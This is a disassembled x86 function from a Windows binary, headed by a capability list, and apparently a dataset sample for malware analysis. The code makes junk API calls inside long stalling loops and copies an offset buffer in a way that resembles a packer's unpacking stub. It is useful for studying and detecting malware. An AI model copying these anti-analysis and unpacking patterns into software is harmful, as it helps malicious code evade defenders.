Function at 0x432170
Capabilities:
Create directory
Get common file path
Get geographical location
Get hostname
Manipulate console buffer
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0xcf4
mov eax, dword [0x437004]
xor eax, esp
mov dword [esp + 0xcf0], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
jmp 0x4321a0
call edi
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
cmp esi, 0x176afc
jg 0x4321c5
inc esi
cmp esi, 0x365ea5f8
jl 0x4321a0
jmp 0x4321d8
cmp dword [0x2bdf6dc], 0xa
jne 0x4321d8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x4321f4
mov eax, dword [0x439014]
mov dword [0x2bdf6e0], eax
cmp dword [0x2bdf6dc], 0x3c
jne 0x432200
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x4321e2
cmp dword [0x2bdf6dc], 0x7c
jne 0x432297
push ebx
call dword [sym.imp.ole32.dll_CreateDataAdviseHolder]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [esp + 0xf8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push str.pecanasotapih
call dword [sym.imp.KERNEL32.dll_AddAtomW]
lea edx, [esp + 0x4f8]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
cmp dword [0x2bdf6dc], 0x2d
jne 0x432279
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
push 0x4354b6
push 0x439cc8
call fcn.0040146a
fldz
fstp qword [esp]
call fcn.00401100
fstp st(0)
add esp, 8
cmp dword [0x2bdf6dc], 0x110a
jne 0x4322ed
push ebx
push ebx
lea eax, [esp + 0x50]
push eax
mov dword [0x2bdf348], ebx
mov dword [0x2bdf34c], ebx
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
call fcn.0040121d
push ebx
call fcn.0040129c
add esp, 0xc
push ebx
push ebx
call fcn.0040121d
push ebx
push ebx
call fcn.0040121d
push ebx
call fcn.00401453
add esp, 0x14
call fcn.00431700
xor esi, esi
cmp dword [0x2bdf6dc], ebx
jbe 0x432350
mov edi, dword [sym.imp.KERNEL32.dll_ReplaceFileA]
jmp 0x432310
mov ecx, dword [0x2bdf6e0]
mov dword [esp + 0xc], ecx
mov eax, 0xa231
add dword [esp + 0xc], eax
mov edx, dword [esp + 0xc]
mov al, byte [edx + esi]
mov ecx, dword [0x2bdd25c]
mov byte [ecx + esi], al
cmp dword [0x2bdf6dc], 0x5ab
jne 0x432347
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x2bdf6dc]
jb 0x432310
call fcn.00431ff0
call fcn.00431730
call fcn.004320e0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
xor esi, esi
cmp dword [0x2bdf6dc], 0x41
jne 0x432375
push ebx
push ebx
push ebx
call edi
cmp esi, 0xbd9cb
jne 0x432382
call fcn.00431720
inc esi
cmp esi, 0x15a63d
jl 0x432367
mov ebx, dword [esp + 0x28]
mov edi, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
push 0
push 0
call edi
cmp esi, 0x1abc7
jle 0x4323ad
cmp ebx, 0xf5bed7
jne 0x4323b6
inc esi
cmp esi, 0x1ebc2ad2
jl 0x432397
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov edi, dword [sym.imp.ADVAPI32.dll_AccessCheckByType]
mov dword [esp + 0x10], 0x1519a5
mov ebx, dword [esp + 0x10]
mov edi, edi
cmp dword [0x2bdf6dc], 0x3dc
mov dword [0x2bdf344], 0x8e46a6f0
jne 0x432417
xor edx, edx
lea ecx, [esp + 0x1c]
push ecx
push edx
push edx
push edx
push edx
mov dword [esp + 0x20], edx
call esi
mov edx, dword [esp + 0x14]
push 0
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x1c]
push ecx
push ebx
push 0
push 0
push edx
push 0
push 0
push 0
push 0
call edi
dec dword [esp + 0x10]
jne 0x4323d0
mov ecx, dword [esp + 0xcfc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004010e8
mov esp, ebp
pop ebp
ret